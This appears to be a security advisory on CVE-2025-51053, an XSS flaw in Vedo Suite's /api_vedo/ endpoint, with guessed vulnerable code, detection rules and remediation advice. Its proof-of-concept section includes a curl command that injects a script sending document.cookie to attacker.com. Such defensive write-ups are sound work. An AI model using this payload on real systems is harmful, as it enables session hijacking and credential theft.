CVE-2025-51053

Executive Summary

CVE-2025-51053 is a stored Cross-Site Scripting (XSS) vulnerability identified in Vedo Suite version 2024.17. The flaw resides in the /api_vedo/ endpoint, allowing remote, unauthenticated attackers to inject arbitrary JavaScript or HTML code. Successful exploitation can lead to session hijacking, credential theft, or execution of malicious actions within the context of the victim's browser session. No official patch has been released by Vedo, and no public exploit code or Nuclei template is currently available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability is not associated with any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Vedo Suite). Supply chain risk is limited to the vendor's software distribution channel.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete or missing vector data from the NVD. Based on the description, a reasonable CVSS 3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit the crafted URL
• Scope (S): Changed (C) – attacker can impact resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. While exploitation is straightforward, it requires user interaction. The lack of a patch increases the risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability exists in the /api_vedo/ endpoint of Vedo Suite 2024.17. This endpoint likely processes API requests and reflects or stores user-supplied input without proper sanitization or output encoding.

Attack Vector:

1. An attacker crafts a malicious URL or POST request to /api_vedo/ containing JavaScript payloads in parameters such as name, message, or callback.
2. The server stores this payload (if stored XSS) or reflects it immediately (if reflected XSS).
3. When a victim (e.g., an administrator) accesses the affected page or API response, the injected script executes in their browser context.

Impact:

• Session cookie theft (e.g., document.cookie).
• Redirection to phishing pages.
• Defacement of the Vedo Suite interface.
• Execution of administrative actions on behalf of the victim.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

// Vulnerable endpoint handler (pseudo-code)
app.get('/api_vedo/', (req, res) => {
    let userInput = req.query.input;
    res.send(`<div>${userInput}</div>`); // No sanitization
});

A patched version would require:

// Patched endpoint handler (pseudo-code)
const sanitizeHtml = require('sanitize-html');
app.get('/api_vedo/', (req, res) => {
    let userInput = req.query.input;
    let cleanInput = sanitizeHtml(userInput, { allowedTags: [], allowedAttributes: {} });
    res.send(`<div>${cleanInput}</div>`);
});

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit code exists, the following is a basic PoC for reflected XSS:

<!-- Malicious link to be sent to victim -->
<a href="https://target-vedo-instance.com/api_vedo/?input=<script>alert('XSS')</script>">Click me</a>

For stored XSS, an attacker could submit a POST request:

curl -X POST https://target-vedo-instance.com/api_vedo/ \
  -d "input=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"

Lab Setup:

1. Deploy Vedo Suite 2024.17 in a controlled environment.
2. Use Burp Suite or OWASP ZAP to intercept and modify requests to /api_vedo/.
3. Inject payloads and observe execution in a browser.

Blue Team (Detection & Hardening)

Detection:

• Monitor logs for unusual patterns in /api_vedo/ requests, especially <script> tags or event handlers.
• Deploy a Web Application Firewall (WAF) with rules to block common XSS patterns.

Hardening:

• Implement Content Security Policy (CSP) headers: Content-Security-Policy: default-src 'self'; script-src 'none';
• Enforce input validation and output encoding on all user-supplied data.
• If possible, disable the /api_vedo/ endpoint until a patch is available.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api_vedo/ containing <script>, onerror=, onload=, or javascript:.
  • Outbound connections to unknown domains from the Vedo Suite server.
• Host:
  • Unexpected JavaScript files in web server logs.
  • Modified or injected content in Vedo Suite pages.
• Logs:
  • Web server logs showing 200 responses to /api_vedo/ with encoded or raw script tags.

Detection Engineering

YARA Rule

rule CVE_2025_51053_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting Vedo Suite /api_vedo/ endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51053"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
        $xss4 = "onload=" ascii wide nocase
        $path = "/api_vedo/" ascii wide nocase
    condition:
        $path and any of ($xss*)
}

Sigma Rule

title: XSS Attempt Against Vedo Suite /api_vedo/
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS attacks targeting the /api_vedo/ endpoint in Vedo Suite
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains: '/api_vedo/'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in API parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51053 XSS Attempt on Vedo Suite /api_vedo/"; flow:to_server; content:"/api_vedo/"; http_uri; content:"<script"; nocase; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /api_vedo/ endpoint if not essential for operations.
2. Apply a virtual patch using a WAF to block requests containing <script>, onerror=, javascript:, etc.
3. Implement strict CSP headers to prevent inline script execution.

Long-Term Fix:

• Contact Vedo for an official patch or upgrade to a non-vulnerable version.
• Conduct a full code review of the /api_vedo/ endpoint to implement proper input sanitization and output encoding.
• Consider migrating to a different vendor if Vedo does not provide timely security updates.

Monitoring:

• Continuously monitor logs for XSS attempts.
• Use the provided YARA, Sigma, and Suricata rules in your SIEM/IDS.

Valters IT